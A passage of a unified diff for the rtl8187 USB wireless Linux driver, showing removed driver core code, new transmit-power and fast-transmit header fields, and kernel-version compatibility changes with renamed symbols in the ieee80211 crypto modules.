rtl8180_irq_enable(dev); - - /* VV !!!!!!!!!! VV*/ - /* - rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); -*/ -} -#endif -/*************************************************************************** - -------------------------------NET STUFF--------------------------- -***************************************************************************/ -static struct net_device_stats *rtl8180_stats(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - return &priv->ieee80211->stats; -} - - -int _rtl8180_up(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - priv->up=1; - - //DMESG("Bringing up iface"); - - rtl8180_adapter_start(dev); - - rtl8180_rx_enable(dev); - - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); - if(!netif_queue_stopped(dev)) - netif_start_queue(dev); - else - netif_wake_queue(dev); - - return 0; -} - - -int rtl8180_open(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - - down(&priv->wx_sem); - ret = rtl8180_up(dev); - up(&priv->wx_sem); - return ret; - -} - - -int rtl8180_up(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - if (priv->up == 1) return -1; - - return _rtl8180_up(dev); -} - - -int rtl8180_close(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - - down(&priv->wx_sem); - - ret = rtl8180_down(dev); - - up(&priv->wx_sem); - - return ret; - -} - -int rtl8180_down(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - if (priv->up == 0) return -1; - - priv->up=0; - -/* FIXME */ - if (!netif_queue_stopped(dev)) - netif_stop_queue(dev); - - rtl8180_rtx_disable(dev); - rtl8180_irq_disable(dev); - - ieee80211_softmac_stop_protocol(priv->ieee80211); - - return 0; -} - - -void rtl8180_commit(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - if (priv->up == 0) return ; - - ieee80211_softmac_stop_protocol(priv->ieee80211); - - rtl8180_irq_disable(dev); - rtl8180_rtx_disable(dev); - _rtl8180_up(dev); -} - -void rtl8180_restart(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - down(&priv->wx_sem); - - rtl8180_commit(dev); - - up(&priv->wx_sem); -} - -static void r8180_set_multicast(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - short promisc; - - //down(&priv->wx_sem); - - /* FIXME FIXME */ - - promisc = (dev->flags & IFF_PROMISC) ? 1:0; - - if (promisc != priv->promisc) - // rtl8180_commit(dev); - - priv->promisc = promisc; - - //schedule_work(&priv->reset_wq); - //up(&priv->wx_sem); -} - - -int r8180_set_mac_adr(struct net_device *dev, void *mac) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - struct sockaddr *addr = mac; - - down(&priv->wx_sem); - - memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - - schedule_work(&priv->reset_wq); - - up(&priv->wx_sem); - - return 0; -} - - -/* based on ipw2200 driver */ -int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - down(&priv->wx_sem); - - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; - switch (cmd) { - case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); - break; - - default: - ret = -EOPNOTSUPP; - break; - } - - up(&priv->wx_sem); - - return ret; -} - - -void rtl8180_irq_rx_tasklet(struct r8180_priv *priv) -{ - struct urb *rx_urb = priv->rxurb_task; - struct net_device *dev = (struct net_device*)rx_urb->context; - int status,len,flen; - struct sk_buff *skb; - u32 *desc; - - //DMESG("rtl8187_rx_isr"); - - struct ieee80211_rx_stats stats = { - .signal = 0, - .noise = -98, - .rate = 0, - // .mac_time = jiffies, - .freq = IEEE80211_24GHZ_BAND, - }; - - //DMESG("RX %d ",rx_urb->status); - status = rx_urb->status; - if(status == 0){ - - len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ - len -= 4*4;/* 4 dword and 4 byte CRC */ - - desc = (u32*)(rx_urb->transfer_buffer + len); - - flen = desc[0] & 0xfff; - - if( flen <= rx_urb->actual_length){ - - stats.signal = (desc[1] & 0x7f00)>>8; - stats.noise = desc[1] &0xff; - stats.rate = desc[0] >> 20 & 0xf; - stats.mac_time[0] = desc[2]; - stats.mac_time[1] = desc[3]; - skb = dev_alloc_skb(flen-4); - //skb_reserve(skb,2); - if(skb){ - memcpy(skb_put(skb,flen-4), - rx_urb->transfer_buffer,flen -4); - - #ifdef DUMP_RX - int i; - for(i=0;itransfer_buffer))[i]); - printk("------RATE %x:w---------------\n",stats.rate); - - #endif - priv->stats.rxok++; - // priv->rxskb = skb; - // priv->tempstats = &stats; - - if(!ieee80211_rx(priv->ieee80211, - skb, &stats)) - dev_kfree_skb_any(skb); - } - }else priv->stats.rxurberr++; - }else{ - priv->stats.rxstaterr++; - priv->ieee80211->stats.rx_errors++; - - } - - if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); - else DMESG("RX process aborted due to explicit shutdown"); -} - -/**************************************************************************** - ---------------------------- USB_STUFF--------------------------- -*****************************************************************************/ - - -static int __devinit rtl8187_usb_probe(struct usb_interface *intf, - const struct usb_device_id *id) -{ -// unsigned long ioaddr = 0; - struct net_device *dev = NULL; - struct r8180_priv *priv= NULL; - struct usb_device *udev = interface_to_usbdev(intf); - -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - - SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - - SET_NETDEV_DEV(dev, &intf->dev); - - priv = ieee80211_priv(dev); - priv->ieee80211 = netdev_priv(dev); - - priv->udev=udev; - - dev->open = rtl8180_open; - dev->stop = rtl8180_close; - //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; - dev->tx_timeout = tx_timeout; - dev->wireless_handlers = &r8180_wx_handlers_def; - dev->do_ioctl = rtl8180_ioctl; - dev->set_multicast_list = r8180_set_multicast; - dev->set_mac_address = r8180_set_mac_adr; - dev->get_wireless_stats = r8180_get_wireless_stats; - dev->type=ARPHRD_ETHER; - - if (dev_alloc_name(dev, ifname) < 0){ - DMESG("Oops: devname already taken! Trying wlan%%d...\n"); - ifname = "wlan%d"; - dev_alloc_name(dev, ifname); - } - -// dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ - DMESG("Initialization failed"); - goto fail; - } - - netif_carrier_off(dev); - netif_stop_queue(dev); - - register_netdev(dev); - - rtl8180_proc_init_one(dev); - - - DMESG("Driver probe completed\n"); - return 0; - - -fail: - free_ieee80211(dev); - - DMESG("wlan driver load failed\n"); - - return -ENODEV; - -} - - -static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf) -{ - struct r8180_priv *priv; - struct net_device *dev = usb_get_intfdata(intf); - if(dev){ - - unregister_netdev(dev); - - priv=ieee80211_priv(dev); - - rtl8180_proc_remove_one(dev); - - rtl8180_down(dev); - priv->rf_close(dev); - //rtl8180_rtx_disable(dev); - rtl8187_usb_deleteendpoints(dev); - rtl8180_irq_disable(dev); - rtl8180_reset(dev); - mdelay(10); - - } -// pci_disable_device(pdev); - free_ieee80211(dev); - DMESG("wlan driver removed\n"); -} - - -static int __init rtl8187_usb_module_init(void) -{ - printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ -based WLAN cards\n"); - printk(KERN_INFO "Copyright (c) 2004-2005, Andrea Merello\n"); - DMESG("Initializing module"); - DMESG("Wireless extensions version %d", WIRELESS_EXT); - rtl8180_proc_module_init(); - return usb_register(&rtl8187_usb_driver); -} - - -static void __exit rtl8187_usb_module_exit(void) -{ - usb_deregister(&rtl8187_usb_driver); - - rtl8180_proc_module_remove(); - DMESG("Exiting"); -} - - -void rtl8180_try_wake_queue(struct net_device *dev, int pri) -{ - unsigned long flags; - short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - spin_lock_irqsave(&priv->tx_lock,flags); - enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - - if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); -} - - - -/*************************************************************************** - ------------------- module init / exit stubs ---------------- -****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h 2006-06-06 08:48:10.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.h 2008-02-22 15:02:01.000000000 +0100 @@ -1,17 +1,17 @@ -/* +/* This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the + + Parts of this driver are based on the GPL part of the official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon - + Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -47,6 +46,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #define EPROM_93c46 0 @@ -68,7 +73,7 @@ { struct buffer *next; u32 *buf; - + } buffer; #if 0 @@ -123,18 +128,18 @@ short epromtype; int irq; struct ieee80211_device *ieee80211; - + short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ short enable_gpio0; enum card_type {PCI,MINIPCI,CARDBUS,USB/*rtl8187*/}card_type; short hw_plcp_len; - + // spinlock_t irq_lock; // spinlock_t irq_th_lock; spinlock_t tx_lock; - + u16 irq_mask; // short irq_enabled; struct net_device *dev; @@ -143,13 +148,18 @@ short max_sens; u8 chtxpwr[15]; //channels from 1 to 14, 0 not used u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_orig[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_ofdm_orig[15]; //channels from 1 to 14, 0 not used u8 cck_txpwr_base; u8 ofdm_txpwr_base; + u8 txpwr_max; u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; - + short prism_hdr; + short fasttx; + short highpower; + // struct timer_list scan_timer; /*short scanpending; short stopscan;*/ @@ -158,7 +168,7 @@ //u8 active_scan_num; struct semaphore wx_sem; // short hw_wep; - + // short digphy; // short antb; // short diversity; @@ -171,31 +181,31 @@ void (*rf_close)(struct net_device *dev); void (*rf_init)(struct net_device *dev); //short rate; - short promisc; + short promisc; /*stats*/ struct Stats stats; struct iw_statistics wstats; struct proc_dir_entry *dir_dev; - + /*RX stuff*/ // u32 *rxring; // u32 *rxringtail; // dma_addr_t rxringdma; struct urb **rx_urb; - + //struct buffer *rxbuffer; //struct buffer *rxbufferhead; //int rxringcount; //u16 rxbuffersize; - - //struct sk_buff *rx_skb; + + //struct sk_buff *rx_skb; //short rx_skb_complete; //u32 rx_prevlen; atomic_t tx_lp_pending; atomic_t tx_np_pending; -#if 0 +#if 0 /*TX stuff*/ u32 *txlpring; u32 *txhpring; @@ -225,7 +235,7 @@ struct urb *rxurb_task; // u8 dma_poll_mask; //short tx_suspend; - + /* adhoc/master mode stuff */ #if 0 u32 *txbeacontail; @@ -239,22 +249,23 @@ //u16 master_beaconinterval; // u32 master_beaconsize; //u16 beacon_interval; - + u8 retry_data; u8 retry_rts; - + struct work_struct reset_wq; - + }r8180_priv; -typedef enum{ +typedef enum{ LOW_PRIORITY , - NORM_PRIORITY + NORM_PRIORITY } priority_t; short rtl8180_tx(struct net_device *dev,u32* skbuf, int len,priority_t priority,short morefrag,short rate); +short rtl8180_tx_fast(struct net_device *dev,u32* skbuf, int len, short rate); u8 read_nic_byte(struct net_device *dev, int x); u8 read_nic_byte_E(struct net_device *dev, int x); diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h~ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.h~ --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h~ 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.h~ 1970-01-01 01:00:00.000000000 +0100 @@ -1,288 +0,0 @@ -/* - This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 - Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the - official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton - from Patric Schenke & Andres Salomon - - Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper - project Authors. -*/ - -#ifndef R8180H -#define R8180H - - -#define RTL8187_MODULE_NAME "rtl8187" -#define DMESG(x,a...) printk(KERN_INFO RTL8187_MODULE_NAME ": " x "\n", ## a) -#define DMESGW(x,a...) printk(KERN_WARNING RTL8187_MODULE_NAME ": WW:" x "\n", ## a) -#define DMESGE(x,a...) printk(KERN_WARNING RTL8187_MODULE_NAME ": EE:" x "\n", ## a) - -#include -#include -#include -#include -#include -#include -#include -#include -#include -//#include -#include -#include -#include -#include //for rtnl_lock() -#include -#include -#include // Necessary because we use the proc fs -#include -#include -#include -#include -#include - -#include "ieee80211.h" - -#define EPROM_93c46 0 -#define EPROM_93c56 1 - -#define DEFAULT_FRAG_THRESHOLD 2342U -#define MIN_FRAG_THRESHOLD 256U -#define DEFAULT_BEACONINTERVAL 0x64U -#define DEFAULT_BEACON_ESSID "Rtl8187" - -#define DEFAULT_SSID "" -#define DEFAULT_RETRY_RTS 7 -#define DEFAULT_RETRY_DATA 7 -#define PRISM_HDR_SIZE 64 - -#define RTL_IOCTL_WPA_SUPPLICANT SIOCIWFIRSTPRIV+30 - -typedef struct buffer -{ - struct buffer *next; - u32 *buf; - -} buffer; - -#if 0 - -typedef struct tx_pendingbuf -{ - struct ieee80211_txb *txb; - short ispending; - short descfrag; -} tx_pendigbuf; - -#endif - -typedef struct Stats -{ - unsigned long txrdu; -// unsigned long rxrdu; - //unsigned long rxnolast; - //unsigned long rxnodata; -// unsigned long rxreset; -// unsigned long rxwrkaround; -// unsigned long rxnopointer; - unsigned long rxok; - unsigned long rxurberr; - unsigned long rxstaterr; - unsigned long txnperr; - unsigned long txnpdrop; - unsigned long txresumed; -// unsigned long rxerr; -// unsigned long rxoverflow; -// unsigned long rxint; - unsigned long txnpokint; -// unsigned long txhpokint; -// unsigned long txhperr; -// unsigned long ints; -// unsigned long shints; - unsigned long txoverflow; -// unsigned long rxdmafail; -// unsigned long txbeacon; -// unsigned long txbeaconerr; - unsigned long txlpokint; - unsigned long txlpdrop; - unsigned long txlperr; - unsigned long txdatapkt; -} Stats; - - - -typedef struct r8180_priv -{ - struct usb_device *udev; - short epromtype; - int irq; - struct ieee80211_device *ieee80211; - - short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ - short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ - short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ - short enable_gpio0; - enum card_type {PCI,MINIPCI,CARDBUS,USB/*rtl8187*/}card_type; - short hw_plcp_len; - -// spinlock_t irq_lock; -// spinlock_t irq_th_lock; - spinlock_t tx_lock; - - u16 irq_mask; -// short irq_enabled; - struct net_device *dev; - short chan; - short sens; - short max_sens; - u8 chtxpwr[15]; //channels from 1 to 14, 0 not used - u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used - u8 cck_txpwr_base; - u8 ofdm_txpwr_base; - u8 challow[15]; //channels from 1 to 14, 0 not used - short up; - short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; - -// struct timer_list scan_timer; - /*short scanpending; - short stopscan;*/ -// spinlock_t scan_lock; -// u8 active_probe; - //u8 active_scan_num; - struct semaphore wx_sem; -// short hw_wep; - -// short digphy; -// short antb; -// short diversity; -// u8 cs_treshold; -// short rcr_csense; - short rf_chip; -// u32 key0[4]; - short (*rf_set_sens)(struct net_device *dev,short sens); - void (*rf_set_chan)(struct net_device *dev,short ch); - void (*rf_close)(struct net_device *dev); - void (*rf_init)(struct net_device *dev); - //short rate; - short promisc; - /*stats*/ - struct Stats stats; - struct iw_statistics wstats; - struct proc_dir_entry *dir_dev; - - /*RX stuff*/ -// u32 *rxring; -// u32 *rxringtail; -// dma_addr_t rxringdma; - struct urb **rx_urb; - - //struct buffer *rxbuffer; - //struct buffer *rxbufferhead; - //int rxringcount; - //u16 rxbuffersize; - - //struct sk_buff *rx_skb; - - //short rx_skb_complete; - - //u32 rx_prevlen; - atomic_t tx_lp_pending; - atomic_t tx_np_pending; -#if 0 - /*TX stuff*/ - u32 *txlpring; - u32 *txhpring; - u32 *txnpring; - dma_addr_t txlpringdma; - dma_addr_t txhpringdma; - dma_addr_t txnpringdma; - u32 *txlpringtail; - u32 *txhpringtail; - u32 *txnpringtail; - u32 *txlpringhead; - u32 *txhpringhead; - u32 *txnpringhead; - struct buffer *txlpbufs; - struct buffer *txhpbufs; - struct buffer *txnpbufs; - struct buffer *txlpbufstail; - struct buffer *txhpbufstail; - struct buffer *txnpbufstail; - int txringcount; - int txbuffsize; - - //struct tx_pendingbuf txnp_pending; - struct tasklet_struct irq_tx_tasklet; -#endif -// struct tasklet_struct irq_rx_tasklet; -// u8 dma_poll_mask; - //short tx_suspend; - - /* adhoc/master mode stuff */ -#if 0 - u32 *txbeacontail; - dma_addr_t txbeaconringdma; - u32 *txbeaconring; - int txbeaconcount; -#endif -// struct ieee_tx_beacon *beacon_buf; - //char *master_essid; -// dma_addr_t beacondmabuf; - //u16 master_beaconinterval; -// u32 master_beaconsize; - //u16 beacon_interval; - - u8 retry_data; - u8 retry_rts; - - struct work_struct reset_wq; - -}r8180_priv; - - -typedef enum{ - LOW_PRIORITY , - NORM_PRIORITY - } priority_t; - - -short rtl8180_tx(struct net_device *dev,u32* skbuf, int len,priority_t priority,short morefrag,short rate); - -u8 read_nic_byte(struct net_device *dev, int x); -u8 read_nic_byte_E(struct net_device *dev, int x); -u32 read_nic_dword(struct net_device *dev, int x); -u16 read_nic_word(struct net_device *dev, int x) ; -void write_nic_byte(struct net_device *dev, int x,u8 y); -void write_nic_byte_E(struct net_device *dev, int x,u8 y); -void write_nic_word(struct net_device *dev, int x,u16 y); -void write_nic_dword(struct net_device *dev, int x,u32 y); -void force_pci_posting(struct net_device *dev); - -void rtl8180_rtx_disable(struct net_device *); -void rtl8180_rx_enable(struct net_device *); -void rtl8180_tx_enable(struct net_device *); - -void rtl8180_disassociate(struct net_device *dev); -//void fix_rx_fifo(struct net_device *dev); -void rtl8185_set_rf_pins_enable(struct net_device *dev,u32 a); - -void rtl8180_set_anaparam(struct net_device *dev,u32 a); -void rtl8185_set_anaparam2(struct net_device *dev,u32 a); -void rtl8180_update_msr(struct net_device *dev); -int rtl8180_down(struct net_device *dev); -int rtl8180_up(struct net_device *dev); -void rtl8180_commit(struct net_device *dev); -void rtl8180_set_chan(struct net_device *dev,short ch); -void write_phy(struct net_device *dev, u8 adr, u8 data); -void write_phy_cck(struct net_device *dev, u8 adr, u32 data); -void write_phy_ofdm(struct net_device *dev, u8 adr, u32 data); -void rtl8185_tx_antenna(struct net_device *dev, u8 ant); -void rtl8187_set_rxconf(struct net_device *dev); -#endif diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/.tmp_versions/r8187.mod rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/.tmp_versions/r8187.mod --- rtl8187_linux_26.1010.0622.2006/beta-8187/.tmp_versions/r8187.mod 2006-06-22 07:40:15.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/.tmp_versions/r8187.mod 2008-02-22 15:33:11.000000000 +0100 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8187.ko -/usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8187_core.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_93cx6.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_wx.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_rtl8225.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_rtl8225z2.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_93cx6.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_wx.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225z2.o diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.c 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.c 2008-01-30 17:38:11.000000000 +0100 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); @@ -38,7 +43,7 @@ static struct ieee80211_crypto *hcrypt; -void ieee80211_crypt_deinit_entries(struct ieee80211_device *ieee, +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *ieee, int force) { struct list_head *ptr, *n; @@ -61,13 +66,13 @@ } } -void ieee80211_crypt_deinit_handler(unsigned long data) +void ieee80211_crypt_deinit_handler_rtl7(unsigned long data) { struct ieee80211_device *ieee = (struct ieee80211_device *)data; unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - ieee80211_crypt_deinit_entries(ieee, 0); + ieee80211_crypt_deinit_entries_rtl7(ieee, 0); if (!list_empty(&ieee->crypt_deinit_list)) { printk(KERN_DEBUG "%s: entries remaining in delayed crypt " "deletion list\n", ieee->dev->name); @@ -78,7 +83,7 @@ } -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt) { struct ieee80211_crypt_data *tmp; @@ -103,7 +108,7 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct ieee80211_crypto_alg *alg; @@ -128,7 +133,7 @@ return 0; } -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct list_head *ptr; @@ -159,7 +164,7 @@ } -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name) +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name) { unsigned long flags; struct list_head *ptr; @@ -186,13 +191,13 @@ } -static void * ieee80211_crypt_null_init(int keyidx) { return (void *) 1; } -static void ieee80211_crypt_null_deinit(void *priv) {} +static void * ieee80211_crypt_null_init_rtl7(int keyidx) { return (void *) 1; } +static void ieee80211_crypt_null_deinit_rtl7(void *priv) {} static struct ieee80211_crypto_ops ieee80211_crypt_null = { .name = "NULL", - .init = ieee80211_crypt_null_init, - .deinit = ieee80211_crypt_null_deinit, + .init = ieee80211_crypt_null_init_rtl7, + .deinit = ieee80211_crypt_null_deinit_rtl7, .encrypt_mpdu = NULL, .decrypt_mpdu = NULL, .encrypt_msdu = NULL, @@ -205,7 +210,7 @@ }; -static int __init ieee80211_crypto_init(void) +static int __init ieee80211_crypto_init_rtl7(void) { int ret = -ENOMEM; @@ -217,7 +222,7 @@ INIT_LIST_HEAD(&hcrypt->algs); spin_lock_init(&hcrypt->lock); - ret = ieee80211_register_crypto_ops(&ieee80211_crypt_null); + ret = ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_null); if (ret < 0) { kfree(hcrypt); hcrypt = NULL; @@ -227,7 +232,7 @@ } -static void __exit ieee80211_crypto_deinit(void) +static void __exit ieee80211_crypto_deinit_rtl7(void) { struct list_head *ptr, *n; @@ -247,13 +252,13 @@ kfree(hcrypt); } -EXPORT_SYMBOL(ieee80211_crypt_deinit_entries); -EXPORT_SYMBOL(ieee80211_crypt_deinit_handler); -EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit); - -EXPORT_SYMBOL(ieee80211_register_crypto_ops); -EXPORT_SYMBOL(ieee80211_unregister_crypto_ops); -EXPORT_SYMBOL(ieee80211_get_crypto_ops); +EXPORT_SYMBOL(ieee80211_crypt_deinit_entries_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_deinit_handler_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit_rtl7); + +EXPORT_SYMBOL(ieee80211_register_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_unregister_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_get_crypto_ops_rtl7); -module_init(ieee80211_crypto_init); -module_exit(ieee80211_crypto_deinit); +module_init(ieee80211_crypto_init_rtl7); +module_exit(ieee80211_crypto_deinit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_ccmp.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_ccmp.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_ccmp.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_ccmp.c 2008-01-30 17:38:11.000000000 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); @@ -51,7 +61,11 @@ int key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm; +#else + struct crypto_cipher *tfm; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 tx_b0[AES_BLOCK_LEN], tx_b[AES_BLOCK_LEN], @@ -59,7 +73,8 @@ u8 rx_b0[AES_BLOCK_LEN], rx_b[AES_BLOCK_LEN], rx_a[AES_BLOCK_LEN]; }; -void ieee80211_ccmp_aes_encrypt(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_tfm *tfm, const u8 pt[16], u8 ct[16]) { struct scatterlist src, dst; @@ -74,8 +89,15 @@ crypto_cipher_encrypt(tfm, &dst, &src, AES_BLOCK_LEN); } +#else +static inline void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_cipher *tfm, + const u8 pt[16], u8 ct[16]) +{ + crypto_cipher_encrypt_one(tfm, ct, pt); +} +#endif -static void * ieee80211_ccmp_init(int key_idx) +static void * ieee80211_ccmp_init_rtl7(int key_idx) { struct ieee80211_ccmp_data *priv; @@ -85,19 +107,33 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) priv->tfm = crypto_alloc_tfm("aes", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " "crypto API aes\n"); goto fail; } +#else + priv->tfm = crypto_alloc_cipher("aes", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " + "crypto API aes\n"); + priv->tfm = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { if (priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(priv->tfm); +#else + crypto_free_cipher(priv->tfm); +#endif kfree(priv); } @@ -105,16 +141,20 @@ } -static void ieee80211_ccmp_deinit(void *priv) +static void ieee80211_ccmp_deinit_rtl7(void *priv) { struct ieee80211_ccmp_data *_priv = priv; if (_priv && _priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(_priv->tfm); +#else + crypto_free_cipher(_priv->tfm); +#endif kfree(priv); } -static inline void xor_block(u8 *b, u8 *a, size_t len) +static inline void xor_block_rtl7(u8 *b, u8 *a, size_t len) { int i; for (i = 0; i < len; i++) @@ -122,7 +162,11 @@ } -static void ccmp_init_blocks(struct 